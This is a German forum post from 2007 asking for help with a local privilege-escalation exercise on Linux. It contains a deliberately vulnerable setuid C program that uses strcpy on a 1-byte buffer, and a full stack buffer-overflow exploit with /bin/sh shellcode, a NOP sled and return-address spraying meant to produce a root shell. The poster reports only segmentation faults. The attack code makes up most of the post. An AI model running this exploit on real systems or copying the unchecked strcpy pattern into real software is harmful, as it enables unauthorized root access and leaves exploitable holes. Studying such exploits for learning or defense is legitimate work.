#1 29. Januar 2007 Hi, also ich versuche unter Linux root-rechte zu erlangen durch ein Programm was das suid-bit gesetzt hat und root gehört. Der Code für das Programm ist folgender: Code: #include <string.h> int main(int argc, char *argv[]) { char buffer[1]; strcpy(buffer, argv[1]); return 0; } Dieses Programm versuche ich nun über die Argumente mit folgendem Programm zu exploiten. Das Programm versucht einfach nur die Stelle zu finden wo die Rücksprungadresse im Speicher ist und diese dannn mit dem Shellcode zu überschreiben. Übergabe erfolgt durch die Argumente. Code: #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <dirent.h> char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; unsigned long sp(void) // Funktion um den { __asm__("movl %esp, %eax");} // Stack Pointer zurück zu geben int main(int argc, char *argv[]) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; // offset 0 verwenden esp = sp(); // Aktuellen Stackpointer in ESP schreiben ret = esp - offset; // return-Adresse überschreiben printf("Stack pointer (ESP) : 0x%x\n", esp); printf("Offset from ESP : 0x%x\n", offset); printf("Desired Return addr : 0x%x\n", ret); buffer = malloc(600); // gesamten Puffer mit Return-Adresse füllen ptr = buffer; addr_ptr = (long *) ptr; for(i=0; i < 600; i+=4) { *(addr_ptr++) = ret; } // erste 200 bytes des Puffers mit NOP-Anweisungen füllen for(i=0; i <200; i++) {buffer[i] = '\x90'; } // Shellcode nach dem NOP-Sled schreiben ptr = buffer + 200; for(i=0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } // String beenden buffer[600-1] = 0; Programm vuln mit manipuliertem Buffer als Argument aufrufen execl("./vuln", "vuln", buffer, 0); //Speicherpuffer freigeben free(buffer); return 0; } Mein Problem ist jetzt das er immer nen Segmentation fault ausgibt, was ja auch normal ist weil es nen overflow gibt. Aber ich bekomme dann keine root-rechte. Hat jemand ne Idee was man da machen könnte oder was ich falsch mache? + Multi-Zitat Zitieren